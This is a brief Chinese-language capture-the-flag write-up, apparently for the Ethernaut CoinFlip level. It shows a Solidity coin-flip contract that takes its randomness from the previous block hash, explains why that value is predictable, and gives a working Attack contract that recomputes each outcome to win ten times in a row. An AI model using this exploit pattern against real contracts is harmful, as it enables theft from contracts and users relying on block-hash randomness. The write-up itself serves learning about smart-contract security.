题目描述
解题过程
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract CoinFlip {using SafeMath for uint256;uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;constructor() public {consecutiveWins = 0;}function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}}
这里通过计算上一区块的信息与一个固定的数值相计算,就不存在随机的情况了,除了第一次的上一区块随机,其他均为可知的值
直接使用原合约的计算方法,部署攻击合约
contract Attack {using SafeMath for uint256;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531;CoinFlip coin = CoinFlip(addr);function attack() public{uint256 blockValue = uint256(blockhash(block.number.sub(1)));uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;coin.flip(side);}}
调用10次完成关卡
